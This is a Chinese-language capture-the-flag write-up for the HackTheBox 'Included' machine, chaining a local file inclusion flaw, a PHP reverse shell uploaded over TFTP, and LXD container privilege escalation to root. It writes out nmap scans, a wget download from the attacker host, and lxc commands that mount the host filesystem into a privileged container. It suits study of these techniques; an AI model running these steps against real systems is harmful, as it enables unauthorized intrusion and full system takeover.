组合拳 | 本地文件包含漏洞+TFTP=Getshell
文章声明
安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。
本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转载私信联系。
文章简介
本文主要记录从本地文件包含漏洞到获取root权限的过程。
涉及知识
1. 本地文件包含漏洞(LFI)
2. TFTP文件上传
3. LXD提权
靶场环境
1. Hackthebox靶场Included
2. 靶机: Linux操作系统 IP:10.129.95.185
3. 攻击机:连接VPN后的IP:10.10.14.15
演示过程
首先,我使用nmap进行端口收集:
nmap -sV -sC -sT -v 10.129.95.185 -Pn
(假如这里有张图)
发现只有80端口开启,访问如下:

惊奇地发现url地址的传值参数为"?file=/home.php",由于靶场是linux操作系统,我们尝试查看文件/etc/passwd,内容显示如下:

(这样查看有些混乱,我们用curl看一下)

到这一步就是一个简单的任意文件读取漏洞,接下来我们通过读取到的内容getshell。
发现tftp用户,敏锐地查询了TFTP协议,如下:
TFTP(Trivial File Transfer Protocol),简单文件传输协议,TFTP使用UDP协议,TFTP不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,没有列出目录的功能,也不能对用户进行身份鉴别,它传输8位数据。
根据查到的tftp特性,这次使用nmap进行UDP端口扫描:

通过TFTP工具直接连接服务器,并上传反弹shell:

上传木马:

通过任意文件读取可以得知绝对路径为/var/lib/tftpboot

通过文件包含漏洞触发木马(访问http://10.129.95.185/?file=/var/lib/tftpboot/shell.php),反弹shell成功。

查看id,发现权限比较低,继续进行信息收集进而提升权限。
在/var/www/html路径下信息收集获取到mike用户名和密码:

切换用户mike获取到用户权限Flag,同时注意到存在的用户组在lxd组(当用户具有lxd权限时,可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限):

接下来进行lxd提权,操作如下:
攻击机:
1.下载lxd镜像生成器
git clone https://github.com/saghul/lxd-alpine-builder.git
2.构建镜像
cd lxd-alpine-builder
sudo ./build-alpine
3.开启HTTP服务,下载到靶机上
python3 -m http.server 8082 -b 0.0.0.0

靶机:
1. 下载攻击机上的alpine-v3.13-x86_64-20210218_0139.tar.gz
wget http://10.10.14.15:8082/alpine-v3.13-x86_64-20210218_0139.tar.gz
2. 导入镜像并成功提权
#导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz` --alias test
#初始化镜像
lxc init test test -c security.privileged=true
#挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
#启动镜像
lxc start test
lxc exec test /bin/sh
如果报错就先lxd初始化后在执行上面的操作
lxd init # 一路回车

获取flag
cat /mnt/root/


组合拳 | 本地文件包含漏洞+TFTP=Getshell的更多相关文章
- 易酷 cms2.5 本地文件包含漏洞 getshell
易酷 cms2.5 本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...
- phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...
- phpMyAdmin本地文件包含漏洞
4 phpMyAdmin本地文件包含漏洞 4.1 摘要 4.1.1 漏洞简介 phpMyAdmin是一个web端通用MySQL管理工具,上述版本在/libraries/gis/pma_gis_fact ...
- Nagios Looking Glass 本地文件包含漏洞
漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...
- WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞
漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...
- 关于Discuz! X系列UC_Server 本地文件包含漏洞
最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- 易酷CMS2.5本地文件包含漏洞复现
易酷CMS是一款影片播放CMS.该CMS2.5版本存在本地文件包含漏洞.我们可以利用这个漏洞,让其包含日志文件,然后再利用报错信息将一句话木马写入日志中.然后利用文件包含漏洞包含该日志文件,再用菜刀连 ...
- 本地文件包含漏洞(LFI漏洞)
0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...
随机推荐
- Swift数组
数组的介绍 数组(Array)是一串有序的由相同类型元素构成的集合 数组中的集合元素是有序的,可以重复出现 Swift中的数组 swift数组类型是Array,是一个泛型集合 数组的初始化 数组分成: ...
- Java.lang.Integer类中toString(int i, int radix)的具体实现
Java.lang.Integer.toString(int i,int radix)方法可以实现将一个int类型的10进制的数据转换为指定进制的数据. api文档中介绍: 返回第二个参数指定的基数中 ...
- IO复习
/* 字节流 输入字节流: ---------| InputStream 所有输入字节流的基类. 抽象类 ------------| FileInputStream 读取文件的输入字节流 ------ ...
- sort、uniq、tr、cut、eval以及正则表达式
sort.uniq.tr.cut.eval以及正则表达式 目录 sort.uniq.tr.cut.eval以及正则表达式 一.sort命令 1. sort的作用 2. 语法格式 3. 常用选项 4. ...
- CSS多种方式实现元素水平垂直居中
html结构: <div class="center">确定宽高水平垂直居中</div> <div class="center2" ...
- rabbitmq集群实现
官方文档 一.环境准备 1.1 IP地址规划 1.2 配置主机域名解析 ##每个节点修改主机名 # hostnamectl set-hostname mq1.example.local # hostn ...
- Java执行cmd命令、bat脚本、linux命令,shell脚本等
1.Windows下执行cmd命令 如复制 D:\tmp\my.txt 到D:\tmp\my_by_only_cmd.txt 现文件如图示: 执行代码: private static void run ...
- 有手就行8——项目构建细节3-Jenkins的参数化构建
有手就行8--项目构建细节3-Jenkins的参数化构建 有时在项目构建的过程中,我们需要根据用户的输入动态传入一些参数,从而影响整个构建结果,这时 我们可以使用参数化构建. Jenkins支持非常 ...
- Rock Pi开发笔记(二):入手Rock Pi 4B plus(基于瑞星微RK3399)板子并制作系统运行
前言 入手rock pi 4b plus板子,查看具体的实物,然后制作系统,刷系统,让摇滚派的ubuntu系统运行起来. Rock Pi 4B plus 介绍 ROCK Pi 4 是 Ra ...
- 关于基于GDAL库QT软件平台下C++语言开发使用说明
背景前提 地理空间数据抽象库(GDAL)是一个用于读取和编写栅格和矢量地理空间数据格式的计算机软件库,由开源地理空间基金会在许可的X / MIT风格免费软件许可下发布. 作为一个库,它为调用应用程序提 ...